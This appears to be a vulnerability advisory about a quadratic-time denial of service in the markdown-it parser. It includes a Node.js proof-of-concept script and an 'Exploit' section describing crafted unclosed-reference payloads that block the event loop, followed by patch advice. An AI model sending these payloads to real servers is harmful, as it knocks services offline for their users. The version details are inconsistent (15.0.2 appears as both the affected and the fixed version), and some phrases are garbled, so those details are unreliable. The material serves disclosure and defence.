Listen to this Post
The vulnerability arises from how the markdown-it parser handles unclosed link reference definitions during block parsing.
Specifically, within src/rules_block/reference.ts, continuation lines are pulled lazily and appended using string concatenation (str += lineContent).
In the V8 JavaScript engine, repeated string concatenation with `+=` creates a cons-string structure rather than immediately flattening the underlying character array.
When subsequent operations such as `str.charCodeAt(pos)` within whitespace and label loops or `str.slice(…)` in `parseLink` are invoked, V8 is forced to flatten the cons-string.
This flattening process copies every character accumulated up to that point.
Because this lazy line-pulling and string flattening occurs repeatedly before the parser determines whether the definition is valid or closed, processing an unclosed label or results in quadratic time complexity ($O(n^2)$).
This performance regression was introduced by PR 1004 in version 14.0.0, causing processing times for moderate inputs to jump from milliseconds (e.g., 125 ms for 313 KB in version 13.0.2) to over 11 seconds, and scaling to 74 seconds for 800 KB inputs.
Consequently, any server rendering untrusted user markdown with default options—such as chat systems, issue trackers, documentation previews, and LLM chat interfaces—is susceptible to resource exhaustion and denial of service.
DailyCVE Form:
Platform: markdown-it
Version: 15.0.2
Vulnerability: Denial of service
Severity: Critical
date: October 16 2026
Prediction: Patched on release
What Undercode Say:
Bash setup commands:
mkdir -p markdown-it-poc && cd markdown-it-poc npm init -y npm i [email protected] node poc_markdown_it.js
Proof of concept script (`poc_markdown_it.js`):
const MarkdownIt = require('markdown-it');
const md = new MarkdownIt();
function bench(label, src) {
const t0 = process.hrtime.bigint();
md.render(src);
const t1 = process.hrtime.bigint();
console.log(
`${label.padEnd(30)} ${String(src.length).padStart(9)} B ${(Number(t1 - t0) / 1e6).toFixed(1).padStart(9)} ms`
);
}
for (const n of [100000, 200000, 400000]) {
bench(<code>unclosed n=${n}</code>, '[bash]: /u "' + 'x\n'.repeat(n));
}
for (const n of [5000, 10000, 20000]) {
bench(<code>unclosed label n=${n}</code>, '[' + 'a\n'.repeat(n));
}
Exploit: (Educational Purposes!)
The exploit vector targets the quadratic behavior of unclosed link reference definitions by supplying a crafted markdown payload containing thousands of newline-separated characters inside an unclosed or label definition. For example, passing `[bash]: /u “` followed by 400,000 unclosed lines forces V8 to repeatedly flatten cons-strings during character code lookups and string slicing. This behavior heavily consumes CPU resources and blocks the single-threaded Node.js event loop for over 18 seconds per request, effectively creating a denial-of-service condition against vulnerable parser instances without requiring any non-default options.
Protection: from this CVE
To protect systems against this vulnerability, upgrade the `markdown-it` package to version 15.0.2 or later, where the reference parsing logic has been corrected. The official fix tracks source positions directly within `state.src` instead of accumulating strings via +=, or collects line slices in an array to avoid cons-string flattening overhead. Additionally, applications processing untrusted markdown input should enforce strict payload size limitations and request timeouts.
Impact:
This vulnerability represents an algorithmic-complexity denial of service classified under CWE-407. Because the vulnerable code path resides within core block parsing rules enabled by default, all applications rendering user-provided Markdown are directly exposed. An attacker can saturate server CPU cores and block the Node.js event loop using moderately sized requests—such as a ~400 KB payload blocking execution for 18 seconds or an ~800 KB payload blocking for 74 seconds—leading to significant service degradation or complete application unresponsiveness.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

